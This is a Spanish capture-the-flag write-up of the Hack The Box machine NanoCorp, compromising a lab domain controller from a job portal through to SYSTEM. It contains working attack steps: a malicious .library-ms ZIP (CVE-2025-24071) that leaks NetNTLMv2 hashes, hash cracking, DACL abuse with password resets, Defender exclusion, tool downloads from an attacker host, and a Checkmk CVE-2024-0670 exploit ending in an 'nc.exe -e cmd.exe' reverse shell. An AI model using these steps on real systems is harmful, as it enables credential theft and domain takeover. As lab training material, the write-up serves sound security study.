NanoCorp WriteUp
Table of Contents
NanoCorp es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box. La cadena de ataque empieza en un portal de empleo que acepta CVs en ZIP: empaquetando un fichero .library-ms malicioso (CVE-2025-24071) conseguimos que el servidor, al extraerlo, intente autenticarse por SMB contra nuestra máquina, filtrando el hash NetNTLMv2 de una cuenta de servicio. Tras crackear esa contraseña, usamos BloodHound para mapear el dominio y descubrimos una cadena de abuso de DACLs que nos permite unirnos a un grupo privilegiado y resetear la contraseña de otra cuenta de servicio con acceso WinRM. La escalada final explota CVE-2024-0670 en el agente de monitorización Checkmk, abusando de la reparación de su instalador MSI para ejecutar nuestro propio script como NT AUTHORITY\SYSTEM.
🗺️ Cadena de Ataque
Recon → DC Windows (nanocorp.htb / DC01.nanocorp.htb)
│
▼
hire.nanocorp.htb → portal de empleo, sube CV en ZIP
│
▼
CVE-2025-24071 → .library-ms en ZIP → Responder → NetNTLMv2 de web_svc
│
▼
hashcat -m 5600 → contraseña de web_svc
│
▼
BloodHound → web_svc AddSelf IT_SUPPORT → ForceChangePassword sobre monitoring_svc
│
▼
bloodyAD → reset password monitoring_svc → winrmexec (Kerberos) → User Flag 🚩
│
▼
CVE-2024-0670 (Checkmk Agent, :6556) → seed .cmd en C:\Windows\Temp → msiexec /fa → SYSTEM 🏴
🔍 Reconocimiento
Escaneo de Puertos
Añadimos nanocorp.htb a /etc/hosts:
echo "10.129.243.199 nanocorp.htb" | sudo tee -a /etc/hosts
Hacemos el reconocimiento en dos fases: descubrimiento rápido y luego detección de versiones sobre los puertos encontrados.
Fase 1 - Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv nanocorp.htb
Fase 2 - Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv nanocorp.htb
| Puerto | Servicio | Detalle |
|---|---|---|
53 | DNS | Simple DNS Plus |
80 | HTTP | Apache 2.4.58 (PHP 8.2.12), título “Nanocorp” |
88 | Kerberos | dominio nanocorp.htb |
135, 49664-54135 | MSRPC | Microsoft Windows RPC (puertos dinámicos) |
139, 445 | SMB / NetBIOS | firma requerida |
389, 3268 | LDAP | Active Directory (nanocorp.htb) |
464 | kpasswd5 | |
593 | RPC over HTTP | |
636, 3269 | LDAPS | |
5986 | WinRM (HTTPS) | cert dc01.nanocorp.htb |
6556 | Checkmk Agent | texto plano, versión 2.1.0p10 (vulnerable a CVE-2024-0670) |
9389 | mc-nmf | .NET Message Framing (AD Web Services) |
🎯 Es un Domain Controller (
DC01.nanocorp.htb, dominionanocorp.htb) con un sitio web Apache/PHP en el80. El vector de entrada está en el sitio web; el de escalada está en el puerto6556, donde el agente de Checkmk (que corre comoSYSTEM) está expuesto. Lo dejamos anotado para la fase de privesc.
💡 El agente de Checkmk responde en texto plano; conectándonos al
6556confirmamos la versión, que es la pista para la escalada final:
nc -nv nanocorp.htb 6556 | head
# <<<check_mk>>>
# Version: 2.1.0p10
# AgentOS: windows
💡 nmap suele reportar un desfase de reloj (
clock skew) considerable con este DC. Sincroniza la hora antes de usar Kerberos:
sudo ntpdate nanocorp.htb
# o, si usas faketime con bloodhound-python:
faketime "$(ntpdate -q nanocorp.htb | cut -d' ' -f1,2)" bloodhound-python ...
Enumeración Web
Navegando por http://nanocorp.htb, en la sección “About Us” hay un botón “Apply Now” que enlaza a hire.nanocorp.htb.
💡 Un fuzzing de vhosts con
-ac(autocalibración) no detecta este subdominio:hire.nanocorp.htbdevuelve una respuesta con el mismo status/tamaño que el vhost por defecto, así que-acla descarta como falso positivo aunque el subdominio exista.
Lo añadimos a /etc/hosts y entramos:
sudo sed -i 's/nanocorp.htb/nanocorp.htb hire.nanocorp.htb/' /etc/hosts
🎯
hire.nanocorp.htbes el portal de empleo corporativo, con un formulario de candidatura que acepta la subida de un currículum en formato.zip.
💉 Acceso Inicial — CVE-2025-24071
🧠 CVE-2025-24071 es una vulnerabilidad de spoofing en el Explorador de Windows. Un fichero
.library-mspuede definir una ruta UNC remota como ubicación de la “biblioteca”. Cuando Windows extrae un ZIP/RAR que contiene ese fichero (sin necesidad de que el usuario lo abra), el Explorador resuelve automáticamente la ruta UNC para generar las miniaturas/iconos, lo que dispara una autenticación SMB saliente hacia el host remoto. Si ponemos un listener (Responder) en esa IP, capturamos el hash NetNTLMv2 del usuario/servicio que procesó el ZIP.
Paso 1 — Generamos el .library-ms malicioso apuntando a nuestra IP de atacante. El fichero es un XML que define una biblioteca de Windows con una ubicación remota:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\10.10.14.49\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Lo más sencillo es usar un PoC público que genera el fichero y lo empaqueta automáticamente, como 0x6rss/CVE-2025-24071_PoC :
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
# enter file name: cv
# enter IP: 10.10.14.49
Esto genera cv.zip conteniendo cv.library-ms.
Paso 2 — Levantamos Responder en la interfaz de la VPN para capturar el hash entrante:
sudo responder -I tun0 -v
Paso 3 — Subimos cv.zip como currículum en el formulario de hire.nanocorp.htb. En cuanto el servidor procesa/extrae el ZIP (p. ej. para mostrar una vista previa del CV), el Explorador resuelve la ruta UNC y Responder captura la autenticación:
[SMB] NTLMv2-SSP Client : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:82d721ca6cdc4a83:0FA97341F8BC0CFFE60A2545492E449D:0101000000000000806880CD12FBDC01BBB5623502ADC4E600000000020008004B00570036004D0001001E00570049004E002D0046004800510030004E004A005400370045003400320004003400570049004E002D0046004800510030004E004A00540037004500340032002E004B00570036004D002E004C004F00430041004C00030014004B00570036004D002E004C004F00430041004C00050014004B00570036004D002E004C004F00430041004C0007000800806880CD12FBDC0106000400020000000800300030000000000000000000000000200000785B2D2B3188A026CEDD9CB389A78DD4E6810538F742AFD088E270857FBB54260A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340039000000000000000000
🔑 Hash NetNTLMv2 capturado para
NANOCORP\web_svc.
Paso 4 — Guardamos el hash en web_svc.hash y lo crackeamos con hashcat (modo 5600 = NetNTLMv2):
hashcat -m 5600 -a 0 web_svc.hash /usr/share/wordlists/rockyou.txt
WEB_SVC::NANOCORP:82d721ca6cdc4a83:0fa97341f8bc0cffe60a2545492e449d:...:dksehdgh712!@#
🔑 Credenciales obtenidas:
web_svc:dksehdgh712!@#
🔀 Movimiento Lateral — Abuso de DACLs
Con credenciales válidas, enumeramos el dominio con BloodHound:
bloodhound-python -u 'web_svc' -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 -c All --zip
💡 Alternativa: SharpHound desde Windows a través de la VPN de Kali
Si prefieres el colector oficial en C# (SharpHound.exe) desde una VM Windows sin VPN, hay que enrutar su tráfico por Kali. Dos gotchas que cuestan horas:
- Defender bloquea SharpHound (embebe
SharpHoundCommonLibcon Costura →BadImageFormatException ... HRESULT: 0x800700E1,ERROR_VIRUS_INFECTED). En tu VM de ataque, excluye la carpeta y re-coloca el.exe:Add-MpPreference -ExclusionPath 'C:\Tools\SharpHound'. - El transporte importa: un SOCKS con
ssh -D 1080+ Proxifier vale para herramientas TCP puras, pero SharpHound descubre el dominio por DNS (SRV, UDP) yssh -Des solo TCP → falla con “Unable to resolve a domain to use”. (Si Proxifier no engancha nada, suele ser la Integridad de memoria / Core Isolation de Windows bloqueando la inyección, o Proxifier sin admin.) La vía fiable es enrutar por Kali, que sí lleva UDP.
Paso 1 — Kali como gateway (reenvío + NAT por la VPN; confirma interfaces con ip a, normalmente host-only eth0 + VPN tun0):
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
Paso 2 — En Windows (admin): ruta a la subred de HTB vía Kali y DNS apuntando al DC (para resolver nanocorp.htb y sus SRV):
route add 10.129.0.0 mask 255.255.0.0 192.168.100.223
Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ServerAddresses 10.129.243.199
ipconfig /flushdns
Paso 3 — Lanzamos SharpHound con credenciales explícitas (la VM no está unida al dominio), apuntando al DC y saltándonos el chequeo de 445 (que por túnel da guerra):
.\SharpHound.exe -c All -d nanocorp.htb --domaincontroller 10.129.243.199 --ldapusername web_svc --ldappassword 'dksehdgh712!@#' --skipportcheck --outputprefix nanocorp --zipfilename nanocorp_bh.zip
💡
--ldapusername/--ldappasswordhace un bind LDAP sin Kerberos (sin clock skew). UnSASL bind ... data 52eque salga solo en los colectores de DC (CARegistry/CertServices/NTLMRegistry) es normal desde una VM no unida al dominio y no afecta al grafo principal (usa-c Default/-c DCOnlypara una corrida limpia). El.zipse importa en el BloodHound GUI igual que el debloodhound-python. Estos cambios de red son temporales (se van al reiniciar) salvo el DNS del adaptador → revértelo conSet-DnsClientServerAddress -InterfaceAlias Ethernet0 -ResetServerAddresses.
Cargamos los datos en BloodHound y buscamos el camino más corto desde web_svc hasta Domain Admins. Aparece la siguiente cadena de permisos:
web_svc --(AddSelf)--> IT_SUPPORT
IT_SUPPORT --(ForceChangePassword)--> monitoring_svc
monitoring_svc --(MemberOf)--> Remote Management Users
🎯
web_svcpuede añadirse a sí mismo al grupoIT_SUPPORT, que a su vez puede resetear la contraseña demonitoring_svc— una cuenta que pertenece a Remote Management Users (acceso WinRM).
Si no tienes bloodyAD instalado, lo instalamos con pipx:
pipx install bloodyAD
Paso 1 — Nos añadimos al grupo IT_SUPPORT con bloodyAD:
bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc
Paso 2 — Con el privilegio heredado de IT_SUPPORT, reseteamos la contraseña de monitoring_svc vía LDAP con bloodyAD (un único comando):
bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' set password monitoring_svc 'Nanocorp123!@#'
[+] Password changed successfully!
⚠️ Cuidado con CÓMO reseteas —
monitoring_svcestá enProtected Users(visible en BloodHound junto aRemote Management Users), lo que deshabilita NTLM y obliga a Kerberos AES-only. Por eso NO sirve un reset por RC4/SAMR (p. ej.impacket-changepasswd -reset): cambia el hash NTLM pero deja las claves AES inválidas → despuésimpacket-getTGTfalla conKDC_ERR_PREAUTH_FAILED. La vía correcta esbloodyAD set password(LDAPunicodePwd): envía la contraseña en texto claro, así que el DC deriva todas las claves Kerberos (RC4 + AES). Y al ser un reset (derecho Reset Password heredado deIT_SUPPORT) se salta laminimum password age— no encadenes dos cambios seguidos (un RC4 + un LDAP), porque el segundo chocaría con la edad mínima:Password can't be changed ... minimum password age policy.
Paso 3 — Obtenemos el TGT con impacket-getTGT (negocia AES automáticamente, sin tocar /etc/krb5.conf):
impacket-getTGT 'nanocorp.htb/monitoring_svc:Nanocorp123!@#'
export KRB5CCNAME=monitoring_svc.ccache
[*] Saving ticket in monitoring_svc.ccache
Paso 4 — Conectamos vía WinRM con Kerberos (puerto 5986).
⚠️
evil-winrmno sirve aquí: con NTLM (-S) falla conWinRM::WinRMAuthorizationError(Protected Users desactiva NTLM) y con Kerberos (-r) la gemagssapide Ruby suele colgarse/fallar. Usamos winrmexec (basado en impacket, soporta Kerberos por ccache).
git clone https://github.com/ozelis/winrmexec
Su timeout por defecto es de 1 segundo (provoca failed to create pipeline en casi cualquier comando), así que lo subimos con -timeout; y pasamos -dc-ip explícito para que use la IP del DC y no el nombre del dominio:
python3 winrmexec/winrmexec.py -ssl -port 5986 -k -dc-ip 10.129.243.199 nanocorp.htb/monitoring_svc@dc01.nanocorp.htb -no-pass -timeout 30
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc
⚠️ Gotcha de frescura/persistencia (importante en esta box). Ejecuta
reset (bloodyAD) → getTGT → winrmexecseguidos, sin pausas, por dos motivos. (1) El TGT caduca: si tardas, el ticket del ccache expira; al reusarlo el DC lo rechaza y los clientes lo gestionan fatal — winrmexec revienta conpyasn1 EndOfStreamErrory netexec con'NoneType' object has no attribute 'execute_cmd'. No es un bug del cliente: unimpacket-getSTlo confirma conKRB_AP_ERR_TKT_EXPIRED. (2) La box revierte AD cada cierto tiempo y restaura la contraseña original demonitoring_svc, con lo quegetTGTempieza a darKDC_ERR_PREAUTH_FAILED(aquí porque la contraseña ya no es la tuya — distinto del PREAUTH por claves AES del reset RC4 del Paso 2). En ambos casos: repite el reset con bloodyAD y saca un TGT nuevo, todo seguido.
🚩 User Flag
PS C:\Users\monitoring_svc\Documents> cd ..\desktop
PS C:\Users\monitoring_svc\desktop> type user.txt
<user_flag>
🧗♂️ Escalada de Privilegios — CVE-2024-0670 (Checkmk Agent) → SYSTEM
🧠 CVE-2024-0670 afecta al agente de Windows de Checkmk anterior a
2.2.0p23/2.1.0p40(la máquina corre2.1.0p10, que confirmamos en el6556). El agente corre comoNT AUTHORITY\SYSTEMy, durante la reparación de su MSI, escribe y ejecuta ficheros.cmdcon nombres predecibles (cmk_all_<PID>_<contador>.cmd) enC:\Windows\Temp. La condición de carrera: si pre-sembramos esos ficheros como solo lectura con nuestro propio payload, cuando el agente (SYSTEM) intenta crearlos no puede sobrescribir los nuestros pero igualmente ejecuta el.cmdque hemos plantado → ejecución como SYSTEM. (.cmdno lo escanea Defender a tiempo.)
El bloqueo clave: ni escribir ni reparar desde el logon de red
Aquí está el verdadero reto “Hard”. Desde nuestra sesión WinRM (monitoring_svc) chocamos con dos muros:
# 1) escribir el payload en C:\Windows\Temp:
Access to the path 'C:\Windows\Temp\cmk_all_1000_0.cmd' is denied.
# 2) disparar la reparación:
msiexec.exe /fa "C:\Windows\Installer\1e6f2.msi" /qn → exit 1601 (The Windows Installer service could not be accessed)
⚠️ Por qué falla y cómo se resuelve: WinRM autentica con un logon de tipo 3 (Network). Con ese token,
monitoring_svcno puede escribir enC:\Windows\Tempy el servicio Windows Installer (msiserver) rechaza la reparación (1601). La solución a los dos de golpe: usar RunasCs para crear un logon interactivo (tipo 2) con las credenciales deweb_svcy lanzar ahí el exploit completo. Usamosweb_svcporque no está enProtected Users(logon limpio) y porque sí tiene permiso de escritura sobreC:\Windows\Temp.
Paso 1 — Localizar el MSI del agente
Necesitamos la ruta del MSI instalado para forzar su reparación; la sacamos del registro (sin disparar el lento Win32_Product):
PS C:\Users\monitoring_svc\Documents> Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" | ForEach-Object { $_.GetValue("DisplayName"); $_.GetValue("LocalPackage") }
Check MK Agent 2.1
C:\Windows\Installer\1e6f2.msi
🎯 El paquete local es
C:\Windows\Installer\1e6f2.msi(el nombre aleatorio cambia por instalación; elexploit.ps1lo autodetecta filtrandoDisplayName -like '*mk*').
Paso 2 — Stagear las herramientas en C:\Windows\Tasks
Servimos RunasCs.exe, nc.exe y el exploit.ps1 de tralsesec/CVE-2024-0670
con goshs, y los bajamos a C:\Windows\Tasks (legible por todos y escribible por la cuenta de servicio — el PoC usa esa carpeta por defecto):
git clone https://github.com/tralsesec/CVE-2024-0670
cp /usr/share/windows-resources/binaries/nc.exe ~/http/
cp CVE-2024-0670/exploit.ps1 ~/http/
# RunasCs.exe de la release de antonioCoco/RunasCs → ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/nc.exe -OutFile C:\Windows\Tasks\nc.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/RunasCs.exe -OutFile C:\Windows\Tasks\RunasCs.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/exploit.ps1 -OutFile C:\Windows\Tasks\exploit.ps1
Editamos el bloque # CONFIG de exploit.ps1 (en Kali, antes de subirlo) con nuestros datos:
$LHOST = "10.10.14.49"
$LPORT = "8443"
$NcPath = "C:\Windows\Tasks\nc.exe"
$MinPID = 1000
$MaxPID = 15000
Paso 3 — Listener + lanzar el exploit vía RunasCs (como web_svc)
Levantamos el listener con Penelope (recibirá la shell de SYSTEM):
penelope -p 8443
El exploit.ps1 siembra C:\Windows\Temp\cmk_all_<PID>_<ctr>.cmd (PID 1000–15000, contador 0 y 1 → ~28.000 ficheros, en solo lectura) con el payload nc.exe -e cmd.exe, y después lanza msiexec /fa para forzar la reparación. Lo ejecutamos entero a través de RunasCs como web_svc, de modo que tanto la siembra (escritura en C:\Windows\Temp) como el msiexec corren bajo un logon interactivo válido:
PS C:\Users\monitoring_svc\Documents> C:\Windows\Tasks\RunasCs.exe web_svc 'dksehdgh712!@#' "powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\exploit.ps1" --logon-type 2
💡 Lanzar todo el exploit con RunasCs/
web_svcresuelve los dos muros del logon de red de una vez: elAccess deniedal sembrar y el1601delmsiexec. Si--logon-type 2diera problemas, prueba8(NetworkCleartext) o4(Batch).
Paso 4 — Shell de SYSTEM y Root Flag
Cuando la reparación procesa uno de nuestros .cmd, nc.exe se conecta de vuelta a Penelope como NT AUTHORITY\SYSTEM:
[+] Got reverse shell from nanocorp~10.129.243.199 😍
C:\Windows\system32> whoami
nt authority\system
✅ Shell de SYSTEM obtenida — el agente de Checkmk corría como SYSTEM, así que ya somos SYSTEM en el DC.
🏴 Root Flag
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<root_flag>
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | DC nanocorp.htb, Apache + Checkmk Agent expuestos |
| 2 | Enumeración de vhosts | ffuf | hire.nanocorp.htb (portal de empleo) |
| 3 | CVE-2025-24071 | .library-ms en ZIP + responder | NetNTLMv2 de web_svc |
| 4 | Cracking de hash | hashcat -m 5600 | web_svc:dksehdgh712!@# |
| 5 | Enumeración AD | bloodhound-python | Cadena DACL web_svc → IT_SUPPORT → monitoring_svc |
| 6 | Abuso de DACLs | bloodyAD | Reset de contraseña de monitoring_svc |
| 7 | Acceso WinRM Kerberos (Protected Users) | winrmexec | Shell como monitoring_svc + User Flag 🚩 |
| 8 | CVE-2024-0670 (Checkmk) + logon interactivo | RunasCs, msiexec /fa, penelope | Shell NT AUTHORITY\SYSTEM + Root Flag 🏴 |
Un saludo, nos vemos en el próximo challenge.
